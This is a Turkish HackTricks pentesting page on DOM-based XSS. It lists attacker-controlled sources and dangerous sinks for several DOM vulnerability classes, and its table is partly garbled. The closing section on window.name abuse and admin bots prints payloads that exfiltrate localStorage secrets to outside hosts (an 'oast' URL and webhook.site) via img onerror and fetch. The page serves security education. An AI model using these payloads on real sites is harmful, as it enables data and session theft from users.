DOM XSS

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

DOM Zafiyetleri

DOM zafiyetleri, saldırgan kontrolündeki sources (ör. location.search, document.referrer, veya document.cookie) kaynaklı veriler güvensiz şekilde sinks’e aktarıldığında ortaya çıkar. Sinks, kötü amaçlı veri verildiğinde zararlı içeriği çalıştırabilecek veya render edebilecek fonksiyonlar veya nesnelerdir (örn. eval(), document.body.innerHTML).

  • Sources saldırganlar tarafından değiştirilebilen girdilerdir; örneğin URL’ler, çerezler ve web mesajları.
  • Sinks kötü amaçlı verinin script çalıştırma gibi olumsuz etkilere yol açabileceği potansiyel olarak tehlikeli uç noktalardır.

Risk, verilerin bir source’tan bir sink’e uygun doğrulama veya temizleme yapılmadan aktığında ortaya çıkar; bu durum XSS gibi saldırılara olanak tanır.

Tip

Daha güncel bir sources ve sinks listesi için şuraya bakabilirsiniz: https://github.com/wisec/domxsswiki/wiki

Yaygın sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

Bu tür XSS muhtemelen bulması en zor olanıdır; çünkü JS kodunun içine bakıp, kontrolünüzde olan herhangi bir nesneyi kullanıp kullanmadığını görmeniz ve bu durumda, onu keyfi JS çalıştırmak için istismar etmenin herhangi bir yolu olup olmadığını incelemeniz gerekir.

Bunları bulmak için araçlar

Örnekler

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM bir script’in, saldırganın kontrol edebileceği verileri alanlar arası yönlendirme başlatabilecek bir sink’e yazması durumunda ortaya çıkar.

Yönlendirmenin gerçekleştiği URL’nin başlangıcı üzerinde kontrolünüz varsa, javascript:alert(1) gibi keyfi kod çalıştırmanın mümkün olduğunu anlamak çok önemlidir.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation zafiyetleri, bir script’in saldırgan tarafından kontrol edilebilen veriyi bir cookie’nin değerine dahil etmesi durumunda ortaya çıkar. Bu zafiyet, cookie site içinde kullanıldığında web sayfasının beklenmeyen davranışlar sergilemesine yol açabilir. Ayrıca, cookie kullanıcı oturumlarını izlemek için kullanılıyorsa session fixation saldırısı gerçekleştirmek için istismar edilebilir. Bu zafiyet ile ilişkili birincil sink şudur:

Sinks:

document.cookie

JavaScript Injection

Kaynak: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection zafiyetleri, bir scriptin saldırgan tarafından kontrol edilebilen veriyi JavaScript kodu olarak çalıştırması durumunda oluşur.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

Kaynak: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities bir saldırganın kontrol edebileceği veriyi kullanarak bir betiğin document.domain özelliğini ayarladığı durumlarda ortaya çıkar.

document.domain özelliği, tarayıcılar tarafından same-origin policy’nin uygulanmasında anahtar bir rol oynar. Farklı origin’lerden gelen iki sayfa document.domain’lerini aynı değere ayarladıklarında, kısıtlama olmadan etkileşime girebilirler. Tarayıcılar genellikle document.domain’e atanabilecek değerler için belirli sınırlamalar getirse de, gerçek sayfa origin’iyle tamamen alakasız değerlerin atanmasını engelleyen istisnalar vardır. Tipik olarak tarayıcılar alt veya üst alan adlarının kullanımına izin verir.

Sinks:

document.domain

WebSocket-URL poisoning

Kaynak: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning, bir script’in bir WebSocket bağlantısı için hedef URL olarak kontrol edilebilen veriyi kullanması durumunda ortaya çıkar.

Sinks:

WebSocket constructor’ı WebSocket-URL poisoning zafiyetlerine yol açabilir.

Kaynak: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities, bir script’in mevcut sayfa içinde, örneğin tıklanabilir bir link veya bir formun gönderim URL’si gibi, bir gezinme hedefine saldırgan tarafından kontrol edilebilen veriyi yazması durumunda ortaya çıkar.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

Kaynak: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities bir script’in XmlHttpRequest nesnesi kullanılarak gönderilen bir Ajax isteğine attacker-controllable data yazması durumunda ortaya çıkar.

Sink’ler:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities ortaya çıkar, bir script filename parametresi olarak attacker-controllable data to a file-handling API gönderdiğinde. Bu zafiyet, bir saldırgan tarafından inşa edilen bir URL ile suistimal edilebilir; eğer bu URL başka bir kullanıcı tarafından ziyaret edilirse, user’s browser opening or writing an arbitrary local file ile sonuçlanabilir.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities oluşur, bir scriptin saldırgan tarafından kontrol edilebilen veriyi güvenli olmayan bir şekilde client-side SQL query içine dahil etmesi durumunda.

Sinks:

executeSql()

HTML5-storage manipulation

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities, bir betik web tarayıcısının HTML5 depolama alanına (localStorage veya sessionStorage) saldırgan tarafından kontrol edilebilen verileri kaydettiğinde ortaya çıkar. Bu eylem doğası gereği bir güvenlik açığı olmasa da, uygulama daha sonra kaydedilmiş verileri okur ve bunları güvensiz şekilde işlerse sorun haline gelir. Bu, saldırganın depolama mekanizmasını kullanarak diğer DOM tabanlı saldırıları gerçekleştirmesine izin verebilir; örneğin cross-site scripting ve JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

Kaynak: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities bir scriptin attacker-controllable data’yı bir XPath query’ye dahil etmesi durumunda oluşur.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

Kaynak: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities bir scriptin saldırgan tarafından kontrol edilebilen veriyi, JSON veri yapısı olarak ayrıştırılan ve ardından uygulama tarafından işlenen bir stringe dahil etmesi durumunda ortaya çıkar.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

Kaynak: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities bir betik tarayıcı içinde saldırgan tarafından kontrol edilebilen veriyi başka bir belgeye web mesajı olarak gönderdiğinde ortaya çıkar. Zafiyetli Web-message manipulation için bir örnek PortSwigger’s Web Security Academy adresinde bulunabilir.

Sinks:

The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

DOM-data manipulation

Kaynak: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities bir betik DOM içindeki bir alana saldırgan tarafından kontrol edilebilen veri yazdığında ve bu veri görünür kullanıcı arayüzü veya istemci tarafı mantığında kullanıldığında ortaya çıkar. Bu zafiyet, bir saldırganın bir URL oluşturup (başka bir kullanıcı tarafından ziyaret edilirse) istemci tarafı kullanıcı arayüzünün görünümünü veya davranışını değiştirmesine olanak tanıyabilir.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

Kaynak: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities, bir scriptin attacker-controllable data unsafely to a problematic platform API aktarması durumunda ortaya çıkar. Bu, çağrıldığında kullanıcının bilgisayarının excessive amounts of CPU or disk space tüketmesine yol açabilecek API’leri kapsar. Bu tür zafiyetler, örneğin tarayıcının localStorage’a veri kaydetme girişimlerini reddederek sitenin işlevselliğini kısıtlaması veya yoğun çalışan scriptleri sonlandırması gibi önemli yan etkilere sahip olabilir.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Bildirimsiz küresel değişkenler & window.name kötüye kullanımı

Deklarasyon (var/let/const) olmadan name’e referans verilmesi window.name’e çözülür. Çünkü window.name cross-origin navigations boyunca kalıcılığını korur, bir saldırgan tarayıcı bağlamı adını HTML/JS ile önceden doldurabilir ve daha sonra kurban kodunun bunu güvenilir veri olarak işlemesini sağlayabilir:

  • Hedefi kontrolünüzdeki isimlendirilmiş bir bağlamda açın/gezin:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Veya window.open’ı özenle hazırlanmış bir hedef adıyla yeniden kullan:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Eğer uygulama daha sonra element.innerHTML = name (veya benzeri bir sink) ifadesini girdi temizleme yapmadan kullanırsa, saldırgan tarafından kontrol edilen window.name dizgisi hedef origin’de çalışır; bu DOM XSS’e ve aynı-origin depolamaya erişim sağlar.

Admin/otomasyon akışları: önceden doldurulmuş depolama & javascript: gezinmesi

Otomasyon botları (ör. Playwright) genellikle önce dahili bir sayfayı ziyaret eder, localStorage/cookies içine gizli bilgileri kaydeder, sonra kullanıcı tarafından sağlanan URL’lere gider. Bu akıştaki herhangi bir DOM XSS primitive’i (buna window.name suistimali dahil) önceden yerleştirilmiş gizli bilgiyi sızdırabilir:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Eğer bot şemaları kısıtlamıyorsa, bir javascript: URL’si (javascript:fetch(...)) sağlamak yeni bir gezinme olmadan mevcut origin’de çalışır ve storage değerlerini doğrudan leak eder.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin